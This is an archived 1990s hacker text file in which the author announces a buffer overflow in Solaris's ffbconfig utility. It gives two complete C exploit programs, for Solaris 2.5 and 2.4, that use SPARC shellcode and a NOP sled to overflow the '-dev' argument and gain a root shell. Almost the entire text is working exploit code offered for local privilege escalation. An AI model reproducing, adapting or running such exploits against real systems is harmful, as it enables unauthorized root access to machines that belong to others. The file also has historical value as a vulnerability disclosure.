home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / solar000.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.6 KB  |  144 lines

  1. "Buffer Overflow" rules.
  2.  
  3. I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow  you
  4. to gain root access on your machine. I used an exploit written by Jeremy Elson
  5. for gethostbyname() buffer overflow hole (I modified some values to make this
  6. work).
  7.  
  8. I dont now yet what in ffbconfig is wrong but Im still diging. So more
  9. detailes later.
  10.  
  11. Here's the exploit for Solaris 2.X:
  12.  
  13.  
  14. ---------------------------------- first  -------------------------------------
  15. /*
  16. This works on Solaris 2.5 wiz /usr/sbin/ffbconfig
  17. */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <sys/types.h>
  22. #include <unistd.h>
  23.  
  24. #define BUF_LENGTH      128
  25. #define EXTRA           256
  26. #define STACK_OFFSET    128
  27. #define SPARC_NOP       0xa61cc013
  28.  
  29. u_char sparc_shellcode[] =
  30. "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
  31. "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
  32. "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
  33. "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  34. "\x82\x10\x20\x3b\x91\xd4\xff\xff";
  35.  
  36. u_long get_sp(void)
  37. {
  38.   __asm__("mov %sp,%i0 \n");
  39. }
  40.  
  41. void main(int argc, char *argv[])
  42. {
  43.   char buf[BUF_LENGTH + EXTRA];
  44.   long targ_addr;
  45.   u_long *long_p;
  46.   u_char *char_p;
  47.   int i, code_length = strlen(sparc_shellcode),so;
  48.  
  49.   long_p = (u_long *) buf;
  50.  
  51.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  52.     *long_p++ = SPARC_NOP;
  53.  
  54.   char_p = (u_char *) long_p;
  55.  
  56.   for (i = 0; i < code_length; i++)
  57.     *char_p++ = sparc_shellcode[i];
  58.  
  59.   long_p = (u_long *) char_p;
  60.  
  61.   targ_addr = get_sp() - STACK_OFFSET;
  62.   for (i = 0; i < EXTRA / sizeof(u_long); i++)
  63.     *long_p++ =targ_addr;
  64.  
  65.   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  66. targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  67.  
  68.   execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  69.   perror("execl failed");
  70. }
  71.  
  72. ------------------------ end of "ffbcexp25.c"  --------------------------------
  73.  
  74. -------------------------------- second --------------------------------------
  75.  
  76. /*
  77. This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5
  78. */
  79.  
  80.  
  81.  
  82. #include <stdio.h>
  83. #include <stdlib.h>
  84. #include <sys/types.h>
  85. #include <unistd.h>
  86.  
  87. #define BUF_LENGTH      128
  88. #define EXTRA           256
  89. #define STACK_OFFSET    128
  90. #define SPARC_NOP       0xa61cc013
  91.  
  92. u_char sparc_shellcode[] =
  93. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  94. "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
  95. "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  96. "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  97. "\x91\xd0\x20\x08"
  98. ;
  99.  
  100.  
  101. u_long get_sp(void)
  102. {
  103.   __asm__("mov %sp,%i0 \n");
  104. }
  105.  
  106. void main(int argc, char *argv[])
  107. {
  108.   char buf[BUF_LENGTH + EXTRA];
  109.   long targ_addr;
  110.   u_long *long_p;
  111.   u_char *char_p;
  112.   int i, code_length = strlen(sparc_shellcode),so;
  113.  
  114.   long_p = (u_long *) buf;
  115.  
  116.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  117.     *long_p++ = SPARC_NOP;
  118.  
  119.   char_p = (u_char *) long_p;
  120.  
  121.   for (i = 0; i < code_length; i++)
  122.     *char_p++ = sparc_shellcode[i];
  123.  
  124.   long_p = (u_long *) char_p;
  125.   targ_addr = get_sp() - STACK_OFFSET;
  126.   for (i = 0; i < EXTRA / sizeof(u_long); i++)
  127.     *long_p++ =targ_addr;
  128.  
  129.   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  130. targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  131.  
  132.   execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  133.   perror("execl failed");
  134. }
  135.  
  136. ------------------------------ end of ffbcexp24.c -----------------------------
  137.  
  138. Cristian Schipor - Computer Science Faculty  - Romania -  Bucharest
  139. Email: skipo@math.pub.ro or skipo@ns.ima.ro
  140. Phone: (401) 410.60.88
  141.  
  142.  
  143. PS: "special for STFP"
  144.